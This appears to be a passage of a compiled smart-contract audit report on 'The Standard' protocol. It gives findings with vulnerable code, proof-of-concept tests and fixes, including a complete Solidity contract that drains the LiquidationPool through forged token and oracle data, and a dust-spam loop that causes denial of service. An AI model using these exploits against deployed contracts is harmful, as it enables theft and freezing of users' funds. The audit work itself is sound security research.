pendingStakes array can lead to permanent DoS and frozen fundsEURO tokens that the vault's collateralRate allows right before salecalculateMinimumAmountOut() may result in vaults transitioning into an uncollateralized state after executing swaps.LiquidationPool::empty excludes holder with pending stakes when decreasing a position, resulting in exclusion from asset distributionTokenManager leads to major issuesminAmountOut from vault swaps, making they vulnerable to being sandwiched.costInEuros calculation will incur precision loss due to division before multiplicationSmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap Can Result in Loss of Feesversion for SmartVaultV3 breaks off-chain integrationconsolidatePendingStake() should be publicSmartVaultV3::swap function Submitted by heavenz52, ptsanev, Mlome, 0x9527, iamandreiski, sec305842, y4y, Phantomsands, haxatron, ke1caM, dopeflamingo, nuthan2x, georgishishkov, ACai, Cosine, 0xlemon, spacelord47, 0xloscar01, zigtur, pengun, 0xAraj, abhishekthakur, 0xAsen, dimulski, 13u9, shikhar229169, thankyou, NentoR, MahdiKarimi, XORs33r, matej, 00xSEV, atlanticbase, pep7siup, t0x1c, asuiTouthang, Greed, carlitox477, Aamirusmani1552, 0xrs, greatlake, al88nsk, juan, DarkTower , bhilare71, 0xGreyWolf, anjalit, stakog, n0kto, honorlt, MaslarovK, ak1, nervouspika, 0xAadhi, PTolev, Tricko, neocrao, dipp, Ryonen, 0xsandy, gkrastenov, abiih, 0xaman, billoBaggeBilleyan, Ciara and Gio, KiteWeb3, SanketKogekar, Rsam. Selected submission by: Mlome.
The protocol implements a Liquidation Pool to collect the results of Vault Liquidations. The collected assets are shared between the stakers who invested in the pool. However, the function performing the reward distribution can be called by anyone and the rewards can be manipulated by a specially crafted payload, resulting in all rewards being stollen by a malicious actor.
To liquidate a vault the users should call the runLiquidation() function of the LiquidationPoolManager which internally calls the distributeAssets() function of the LiquidationPool. The problem is that we can call the distributeAssets() directly with any payload and a malicious list of Assets.
Here is the affected code:
File: LiquidationPool.sol
205: function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
An attacker who only invested a tiny amount into the pool can claim 100% of the rewards.
Here is a Hardhat test you can add to test/liquidationPoolManager.js in describe('LiquidationPoolManager'... to demonstrate the exploit:
describe('EXPLOIT', async () => {
it('Exploits Liquidation Pool and get all the rewards', async () => {
const attacker = holder3;
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
// holder1 stakes some funds
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
// holder2 stakes some funds
const tstStake2 = ethers.utils.parseEther('4000');
const eurosStake2 = ethers.utils.parseEther('3000');
await TST.mint(holder2.address, tstStake2);
await EUROs.mint(holder2.address, eurosStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);
// attacker stakes a tiny bit of funds
const tstStake3 = ethers.utils.parseEther('1');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(attacker.address, tstStake3);
await EUROs.mint(attacker.address, eurosStake3);
await TST.connect(attacker).approve(LiquidationPool.address, tstStake3);
await EUROs.connect(attacker).approve(LiquidationPool.address, eurosStake3);
await LiquidationPool.connect(attacker).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
// Some liquidation happens
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).not.to.be.reverted;
// staker 1 has 1000 stake value
// staker 2 has 3000 stake value
// attacker has 1 stake value
// ~25% should go to staker 1, ~75% to staker 2, ~0% should go to attacker
// EPLOIT STARTS HERE
console.log("[Before exploit] Attacker balance:"); // [Before exploit] Attacker balance:
console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 9999999683015393765405
console.log("WBTC = %s", await WBTC.balanceOf(attacker.address)); // WBTC = 0
console.log("USDC = %s", await USDC.balanceOf(attacker.address)); // USDC = 0
console.log("[Before exploit] LiquidationPool balance:"); // [Before exploit] LiquidationPool balance:
console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 499999999999999999
console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address)); // WBTC = 999998
console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address)); //USDC = 499999998
// First claim to reset the rewards of the attacker and make calculations easier
await LiquidationPool.connect(attacker).claimRewards();
// Deploy exploit contract and execute attack
let ExploitFactory = await ethers.getContractFactory('DistributeAssetsExploit');
let ExploitContract = await ExploitFactory.connect(attacker).deploy(LiquidationPool.address);
await ExploitContract.connect(attacker).exploit(
attacker.address, WBTC.address, USDC.address
);
// Claim inflated rewards to drain the pool
await LiquidationPool.connect(attacker).claimRewards();
console.log("\n\n[After exploit] Attacker balance:"); // [After exploit] Attacker balance:
console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 10000497924381243468675
console.log("WBTC = %s", await WBTC.balanceOf(attacker.address)); // WBTC = 999997
console.log("USDC = %s", await USDC.balanceOf(attacker.address)); // USDC = 499999997
console.log("[After exploit] LiquidationPool balance:"); // [After exploit] LiquidationPool balance:
console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 1
console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address)); // WBTC = 1
console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address)); //USDC = 1
});
});
Here is the exploit contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILiquidationPool {
function distributeAssets(DistributeAssetsExploit.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
function holders(uint256) external view returns (address);
function position(address _holder) external view returns(DistributeAssetsExploit.Position memory _position, DistributeAssetsExploit.Reward[] memory _rewards);
}
contract DistributeAssetsExploit {
ILiquidationPool liquidationPool;
struct Reward { bytes32 symbol; uint256 amount; uint8 dec; }
struct Position { address holder; uint256 TST; uint256 EUROs; }
struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { Token token; uint256 amount; }
constructor(address _liquidationPool)
{
liquidationPool = ILiquidationPool(_liquidationPool);
}
// This exploits the liquidationPool distributeAssets() function by crafting fake Tokens wrapped in Assets
// that bypasses all the checks and allows to get an inflated reward.
// The calculation of the amountETH, amountWBTC and amountUSDC are calculated to precisely and completely
// drain the pool.
// The values tagged as "foo" could be any value and are not important in the exploit
function exploit(address attacker, address _wbtc, address _usdc) external
{
uint256 stakeTotal = getStakeTotal();
uint256 attackerStake = getOneStake(attacker);
Asset[] memory assets = new Asset[](3);
// Forge fake tokens with token.clAddr and token.addr as address(this)
address clAddr = address(this);
address tokenAddr = address(this);
uint256 ethBalance = address(liquidationPool).balance;
uint256 wbtcBalance = IERC20(_wbtc).balanceOf(address(liquidationPool));
uint256 usdcBalance = IERC20(_usdc).balanceOf(address(liquidationPool));
Token memory tokenETH = Token('ETH', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
Token memory tokenWBTC = Token('WBTC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
Token memory tokenUSDC = Token('USDC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
uint256 amountETH = ethBalance * stakeTotal / attackerStake;
uint256 amountWBTC = wbtcBalance * stakeTotal / attackerStake;
uint256 amountUSDC = usdcBalance * stakeTotal / attackerStake;
assets[0] = Asset(tokenETH, amountETH);
assets[1] = Asset(tokenWBTC, amountWBTC);
assets[2] = Asset(tokenUSDC, amountUSDC);
uint256 collateralRate = 1; // foo
uint256 hundredPC = 0; // --> costInEuros will be 0
liquidationPool.distributeAssets(assets, collateralRate, hundredPC);
}
// Fake Chainlink.AggregatorV3Interface
function latestRoundData() external pure returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
answer = 0; // foo
}
// Simulate ERC20 token to bypass token transfer from manager contract
function transferFrom(address, address, uint256) external pure returns (bool)
{
return true;
}
// Helper functions to compute the precise amount to completely drain the pool
function getStakeTotal() private view returns (uint256 _stakes) {
for (uint256 i = 0; i < 3; i++)
{
_stakes += getOneStake(liquidationPool.holders(i));
}
}
function getOneStake(address holder) private view returns (uint256 _stake)
{
(Position memory _position, ) = liquidationPool.position(holder);
_stake = stake(_position);
}
function stake(Position memory _position) private pure returns (uint256) {
return _position.TST > _position.EUROs ? _position.EUROs : _position.TST;
}
}
Manual review + Hardhat
Add the onlyManager modifier to the distributeAssets() function.
pendingStakes array can lead to permanent DoS and frozen fundsSubmitted by ICP, heavenz52, ptsanev, 0x9527, Phantomsands, nmirchev8, RSecurity, carrotsmuggler, haxatron, Bbash, ke1caM, aslanbek, dopeflamingo, 0xlemon, zigtur, alexbabits, nuthan2x, Bauer, pengun, georgishishkov, emacab98, Cosine, 0xAsen, Timenov, spacelord47, dimulski, JrNet, mahdiRostami, lian886, Auditism, mojitoauditor, 0xbtk, 0xepley, Aamirusmani1552, datamcrypto, shikhar229169, 0xCiphky, dianivanov, darksnow, dyoff, NentoR, matej, 0xmuxyz, 00xSEV, 0xBinChook, Joshuajee, KrisRenZo, charlesCheerful, amar, SovaSlava, PTolev, emrekocak, zadev, 0xanmol, carlitox477, khramov, bbl4de, yangitbal, 0xAadhi, t0x1c, favelanky, SAAJ, EVDocPhantom, agadzhalov, chainNue, Aitor, 0xrs, honorlt, ak1, 0xLuckyLuke, Ryonen, 0xnightfall, ElHaj, gkrastenov, syahirAmali, 0xVinylDavyl, dipp, sonny2k, MahdiKarimi, slvDev, Tripathi, Ward, Ciara and Gio, pontifex, SanketKogekar, turvyfuzz, 0xk3y, FalconHoof. Selected submission by: Cosine.
The increasePosition function inside the LiquidationPool contract can be used by stakers to increase their stake. The stake is not increased instantly, but instead the request to do so is pushed into a pendingStakes array, which acts as a queue to increase the stake and waits there for at least 24 hours before the stake is increased. This is done to reduce MEV opportunities. The system loops over this array a lot, and there are no mechanisms implemented to reduce the chances of running into the block gas limit. This can lead to a DoS and frozen funds.
There are no minimum checks implemented for the increasePosition function, therefore the pendingStakes array can be spammed with dust amounts:
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
The decreasePosition function is used to reduce the stake and get the funds out of the contract. It loops up to three times over the pendingStakes array:
consolidatePendingStakesdeletePendingStakedistributeFeesIt will also loop up to two times over the holders array, which is also from arbitrary length and can be spammed, but this is a known issue.
Therefore, if the pendingStakes array is very big, the block gas limit will be reached and users are not able to get their funds out of the contract.
Here we can see the decreasePosition function flow:
function decreasePosition(uint256 _tstVal, uint256 _eurosVal) external {
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
require(_tstVal <= positions[msg.sender].TST && _eurosVal <= positions[msg.sender].EUROs, "invalid-decr-amount");
if (_tstVal > 0) {
IERC20(TST).safeTransfer(msg.sender, _tstVal);
positions[msg.sender].TST -= _tstVal;
}
if (_eurosVal > 0) {
IERC20(EUROs).safeTransfer(msg.sender, _eurosVal);
positions[msg.sender].EUROs -= _eurosVal;
}
if (empty(positions[msg.sender])) deletePosition(positions[msg.sender]);
}
function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}
function deletePendingStake(uint256 _i) private {
for (uint256 i = _i; i < pendingStakes.length - 1; i++) {
pendingStakes[i] = pendingStakes[i+1];
}
pendingStakes.pop();
}
function distributeFees(uint256 _amount) external onlyManager {
uint256 tstTotal = getTstTotal();
if (tstTotal > 0) {
IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
for (uint256 i = 0; i < holders.length; i++) {
address _holder = holders[i];
positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
}
for (uint256 i = 0; i < pendingStakes.length; i++) {
pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
}
}
}
The following POC can be implemented in the liquidationPool test file and showcases that the pendingStakes array can be filled up with dust amounts and therefore a loop over it can hit the block gas limit:
describe("pendingStakes_DoS", async () => {
it("pendingStakes_DoS", async () => {
const balance = ethers.utils.parseEther("5000");
await EUROs.mint(user1.address, balance);
await EUROs.approve(LiquidationPool.address, balance);
// pendingStakes array can be spammed with 1 wei of EUROs
for (let i = 0; i < 100; i++) {
let increase = LiquidationPool.increasePosition(0, 1);
await expect(increase).not.to.be.reverted;
}
});
});
As already mentioned (but known) it also loops over the holders array and therefore this griefing attack can be improved by pushing dust amounts into the pendingStakes array with a different EOA on every call.
As we can see, funds are stuck inside this array and there is only one way to reduce the size of this array, again the consolidatePendingStakes function, showcased above. This function also loops over the pendingStakes array and therefore if the size of that array grows too big it will also hit the block gas limit. This makes a permanent DoS and stuck funds possible. The griefer just needs to push into dust amounts into the pendingStakes array by calling increasePosition till it reverts because of the block gas limit, as we can see here:
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}
Permanent DoS and frozen funds.
The best practice would be to not use arrays and instead handle it with mapping and math. But there are a few things that can be done to reduce the chances of running into the block gas limit, with the current design:
increasePosition functionconsolidatePendingStakes function externally callable as currently it is private and only callable by calling other functions which waste further gaspendingStakes arraySubmitted by rvierdiiev, 0xCiphky, pontifex. Selected submission by: 0xCiphky.
In the protocol, users can create Smart Vaults to deposit collateral and borrow EURO stablecoins. They also have the option to swap collateral types, incurring a swap fee that is transferred to the LiquidationPoolManager contract. A issue arises because these swap fees, meant for the protocol, are incorrectly included in the liquidation amounts.
The SmartVaultV3 contract's swap function charges a fee for each collateral swap. This fee is forwarded to the LiquidationPoolManager contract via either the executeNativeSwapAndFee or executeERC20SwapAndFee function.
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
uint256 swapFee =
_amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
...
inToken == ISmartVaultManagerV3(manager).weth()
? executeNativeSwapAndFee(params, swapFee)
: executeERC20SwapAndFee(params, swapFee);
}
These functions transfer the collected swap fee to the LiquidationPoolManager:
function executeNativeSwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
(bool sent,) = payable(ISmartVaultManagerV3(manager).protocol()).call{value: _swapFee}("");
require(sent, "err-swap-fee-native");
...
}
function executeERC20SwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
IERC20(_params.tokenIn).safeTransfer(ISmartVaultManagerV3(manager).protocol(), _swapFee);
...
}
The issue emerges as swap fees accumulate in the LiquidationPoolManager contract and are erroneously considered as part of the liquidation assets.
Specifically, the runLiquidation function within the LiquidationPoolManager contract, triggered during a liquidation event, assesses the liquidated assets' value using the balanceOf function. This will include the swap fees in its calculation, thus conflating them with the liquidation assets.
function runLiquidation(uint256 _tokenId) external {
...
ITokenManager.Token[] memory tokens = ITokenManager(manager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
uint256 ethBalance;
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
ethBalance = address(this).balance;
if (ethBalance > 0) assets[i] = ILiquidationPoolManager.Asset(token, ethBalance);
} else {
IERC20 ierc20 = IERC20(token.addr);
uint256 erc20balance = ierc20.balanceOf(address(this));
if (erc20balance > 0) {
assets[i] = ILiquidationPoolManager.Asset(token, erc20balance);
ierc20.approve(pool, erc20balance);
}
}
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());
...
}
As a result, swap fees are inadvertently treated as part of the liquidated assets and are distributed during the liquidation process, leading to an incorrect allocation of funds.
This miscalculation leads to the unintended distribution of swap fees as part of liquidated assets causing losses to the protocol. Furthermore, an incorrectly inflated liquidation amount can disrupt the protocol's accounting balance and potentially give rise to further complications.
Manual analysis
One solution is to transfer these fees to a different address, ensuring they are not mistakenly included in liquidation distributions.
EURO tokens that the vault's collateralRate allows right before saleSubmitted by dimulski, matej. Selected submission by: dimulski.
Each smart vault is represented by an NFT that is owned inittialy by the user who minted it by calling the mint() function in SmartVaultManagerV5.sol contract:
function mint() external returns (address vault, uint256 tokenId) {
tokenId = lastToken + 1;
_safeMint(msg.sender, tokenId);
lastToken = tokenId;
vault = ISmartVaultDeployer(smartVaultDeployer).deploy(address(this), msg.sender, euros);
smartVaultIndex.addVaultAddress(tokenId, payable(vault));
IEUROs(euros).grantRole(IEUROs(euros).MINTER_ROLE(), vault);
IEUROs(euros).grantRole(IEUROs(euros).BURNER_ROLE(), vault);
emit VaultDeployed(vault, msg.sender, euros, tokenId);
}
As per the whitepaper: Vault NFT: A cutting-edge NFT representing the key attached to the Smart Vault. This NFT allows users to sell their Smart Vault collateral and debt on OpenSea or other reputable NFT marketplaces. The NFT's ownership grants control over the Smart Vault. If the NFT is put for sale and has an amount of EURO that can be minted, without the buyer having to provide additional collateral a malicious user can front run the buyer transaction to buy the NFT and mint all the EURO that the collateralRate of the vault allows, and still receive the price paid by the buyer for the NFT.
If for example the smart vault is overcollateralized and the owner can still mint 1000 EUROs and he has put the NFT for sale for $800 he can front run the buy transaction from the buyer and mint the 1000 EUROs, and still receive the $800 paid by the pair for the NFT.
1000 EUROs$8001000 EUROs1000 EUROs and User B now has a vault that can't mint any EUROs without additional collateral being providedMalicious users can honeypot other users
Manual review
Consider implementing a mechanism where the owner of the vault is required to pause all interactions if he puts the vault represented by an NFT for sale.
Submitted by 0xAraj, mojitoauditor, matej, shikhar229169, 00xSEV, 0xrs, stakog, Kose, Tripathi, neocrao, Ciara and Gio, DarkTower . Selected submission by: Kose.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol/#L127-L133
When users want to remove significant amount of collateral (not all) from protocol, they fail to do so because of wrong check in canRemoveCollateral() function.
canRemoveCollateral() function returns boolean that indicate if user can remove some amount of collateral. This function is wrongly implemented because it checks maxMintable >= euroValueToRemove It is a wrong implementation because "maxMintable()" function returns how much euros can user mint with given collateral as such:
function maxMintable() public view returns (uint256) {
return euroCollateral() * ISmartVaultManagerV3(manager).HUNDRED_PC() / ISmartVaultManagerV3(manager).collateralRate();
}
But in an edge case if user wants to remove most of their collateral without going into the liquidation area, they will encounter an "undercollateralized" even when they are not because the following check in canRemoveCollateral() will fail:
function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
if (minted == 0) return true;
uint256 currentMintable = maxMintable();
uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
}
This can be best explained with a test. Lets dive into it: Test Setup:
After npm installation,
1 - run "forge init --force" in the "2023-12-the-standard" folder. (Assuming you have git cloned the repo)
2 - Create remappings.txt in the root folder with following content:
@forge-std/=lib/forge-std/
@openzeppelin/=node_modules/@openzeppelin/
@chainlink/=node_modules/@chainlink/
3 - foundry.toml should look like this:
[profile.default]
src = 'contracts'
out = 'out'
libs = ['node_modules', 'lib']
test = 'test/foundry/'
cache_path = 'cache_forge'
4 - Inside the test folder (where hardhat tests are) create a folder "foundry" and inside that folder create a file "SmartVault.t.sol" and paste the following setup inside:
pragma solidity 0.8.17;
import {Test, console2} from "forge-std/Test.sol";
import {ERC20Mock} from "../../contracts/utils/ERC20Mock.sol";
import {EUROsMock} from "../../contracts/utils/EUROsMock.sol";
import {ChainlinkMock} from "../../contracts/utils/ChainlinkMock.sol";
import {SmartVaultManagerV5} from "../../contracts/SmartVaultManagerV5.sol";
import {SmartVaultV3} from "../../contracts/SmartVaultV3.sol";
import {PriceCalculator} from "../../contracts/utils/PriceCalculator.sol";
import {SmartVaultDeployerV3} from "../../contracts/utils/SmartVaultDeployerV3.sol";
import {TokenManagerMock} from "../../contracts/utils/TokenManagerMock.sol";
import {SmartVaultManager} from "../../contracts/utils/SmartVaultManager.sol";
import {TransparentUpgradeableProxy, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {NFTMetadataGenerator} from "../../contracts/utils/nfts/NFTMetadataGenerator.sol";
import {SmartVaultIndex} from "../../contracts/utils/SmartVaultIndex.sol";
import {LiquidationPoolManager} from "../../contracts/LiquidationPoolManager.sol";
import {LiquidationPool} from "../../contracts/LiquidationPool.sol";
import {SwapRouterMock} from "../../contracts/utils/SwapRouterMock.sol";
import {ILiquidationPoolManager} from "../../contracts/interfaces/ILiquidationPoolManager.sol";
import {ITokenManager} from "../../contracts/interfaces/ITokenManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SmartVaultV3Test is Test{
address public deployer = vm.addr(1);
address public alice = makeAddr("alice");
address public bob = makeAddr("bob");
address public john = makeAddr("john");
address public attacker = makeAddr("attacker");
address public treasury = vm.addr(4);
ERC20Mock public TST;
ERC20Mock public WBTC;
EUROsMock public EURO;
ChainlinkMock public ClEthUsd;
ChainlinkMock public ClEurUsd;
ChainlinkMock public ClWbtcUsd;
SmartVaultManagerV5 public vaultManagerV5;
SmartVaultManagerV5 public vaultManagerV5Instance;
address public vaultAddress;
SmartVaultV3 public vault;
SmartVaultDeployerV3 public vaultDeployer;
string public ETH = "ETH";
bytes32 public ethBytes32;
TokenManagerMock public tokenManager;
SmartVaultManager public vaultManagerFirstImplementation;
TransparentUpgradeableProxy public proxy;
ProxyAdmin public proxyAdmin;
SmartVaultManager public vaultManagerFirstImplementationProxiedInstance;
NFTMetadataGenerator public nftMetadataGenerator;
SmartVaultIndex public smartVaultIndex;
LiquidationPoolManager public liquidationPoolManager;
LiquidationPool public liquidationPool;
SwapRouterMock public swapRouterMock;
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function setUp() public {
vm.startPrank(deployer);
TST = new ERC20Mock("The Standard Token", "TST", 18);
WBTC = new ERC20Mock("Wrapped BTC", "WBTC", 8);
EURO = new EUROsMock();
skip(5 hours);
/// @notice set up chainlink mock price feeds
ClEthUsd = new ChainlinkMock("ETH / USD");
ClEthUsd.setPrice(237538000000);
ClEurUsd = new ChainlinkMock("EUR / USD");
ClEurUsd.setPrice(109586000);
ClWbtcUsd = new ChainlinkMock("WBTC / USD");
ClWbtcUsd.setPrice(4411586000000);
/// @notice deploy vaultManagerV5 proxy contract
vaultManagerFirstImplementation = new SmartVaultManager();
nftMetadataGenerator = new NFTMetadataGenerator();
smartVaultIndex = new SmartVaultIndex();
ethBytes32 = stringToBytes32(ETH);
vaultDeployer = new SmartVaultDeployerV3(ethBytes32, address(ClEurUsd));
tokenManager = new TokenManagerMock(ethBytes32, address(ClEthUsd));
tokenManager.addAcceptedToken(address(WBTC), address(ClWbtcUsd));
bytes memory setUpData = abi.encodeWithSignature(
"initialize(uint256,uint256,address,address,address,address,address,address,address)",
110000,
500, // mintFeeRate and burnFeeRate
address(EURO),
address(0), // protocol
address(0), // liquidator
address(tokenManager),
address(vaultDeployer),
address(smartVaultIndex),
address(nftMetadataGenerator)
);
proxyAdmin = new ProxyAdmin();
proxy = new TransparentUpgradeableProxy(address(vaultManagerFirstImplementation), address(proxyAdmin), setUpData);
vaultManagerFirstImplementationProxiedInstance = SmartVaultManager(address(proxy));
vaultManagerV5 = new SmartVaultManagerV5();
proxyAdmin.upgrade(ITransparentUpgradeableProxy(address(proxy)), address(vaultManagerV5));
vaultManagerV5Instance = SmartVaultManagerV5(address(proxy));
/// @notice deploy liquidationPoolManager and liquidationPool (it is deployed inside liquidationPoolManager)
liquidationPoolManager = new LiquidationPoolManager(address(TST), address(EURO), address(vaultManagerV5Instance), address(ClEurUsd), payable(treasury), 30000 );
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
vaultManagerV5Instance.setProtocolAddress(address(liquidationPoolManager));
vaultManagerV5Instance.setLiquidatorAddress(address(liquidationPoolManager));
vaultManagerV5Instance = SmartVaultManagerV5(address(proxy));
smartVaultIndex.setVaultManager(address(vaultManagerV5Instance));
EURO.grantRole(EURO.DEFAULT_ADMIN_ROLE(), address(vaultManagerV5Instance));
vm.stopPrank();
}
After that for making testing easier do following change in SmartVaultV3.sol:
Now here comes our test functions. After that I will explain the tests and outputs clearly.
function testCantRemoveCollateral() public {
// deposits
vm.deal(alice , 100e18);
deal(address(WBTC), alice, 10e8);
deal(address(EURO), alice, 10e18);
vm.startPrank(alice);
(address vaultTemp, ) = vaultManagerV5Instance.mint();
SmartVaultV3 vault0 = SmartVaultV3(payable(vaultTemp));
IERC20(address(WBTC)).transfer(address(vault0), 10e8);
EURO.approve(address(vault0), 100_000e18);
// mint
vault0.mint(alice, 1000e18);
// custom calculation to make test easier
uint256 amountToRemove = 95e7;
(, int256 price,,,) = ClWbtcUsd.latestRoundData();
int256 euroValueOfCollat = 10e8 * price / 1e8;
uint256 euroValueToRemove = amountToRemove * uint256(price) / 1e8;
console2.log("Euro value of the collateral(without decimals to make it clear)", euroValueOfCollat/1e8);
console2.log("Max Mintable Euro amount(without decimals to make it clear):",vault0.maxMintable()/1e18);
console2.log("Euro value to remove(without decimals to make it clear):",euroValueToRemove/1e8);
uint256 amountLeft = 10e8 - 95e7;
uint256 eurValueLeft = amountLeft * uint256(price) / 1e8;
console2.log("Amount left(without decimals to make it clear):",eurValueLeft/1e8);
// withdraws
vault0.removeCollateral(bytes32(bytes(WBTC.symbol())), amountToRemove, msg.sender);
}
function testMaxMintableAfterRemoval() public {
// deposits
vm.deal(alice , 100e18);
deal(address(WBTC), alice, 10e8);
deal(address(EURO), alice, 10e18);
vm.startPrank(alice);
(address vaultTemp, ) = vaultManagerV5Instance.mint();
SmartVaultV3 vault0 = SmartVaultV3(payable(vaultTemp));
IERC20(address(WBTC)).transfer(address(vault0), 5e7);
EURO.approve(address(vault0), 100_000e18);
//mint
vault0.mint(alice, 1000e18);
console2.log("Max Mintable Euro amount(without decimals to make it clear):",vault0.maxMintable()/1e18);
}
Let me explain the scenario with values and outputs of tests. (I won't use decimals in both my explanations and also in test calculations to make it easier to see)
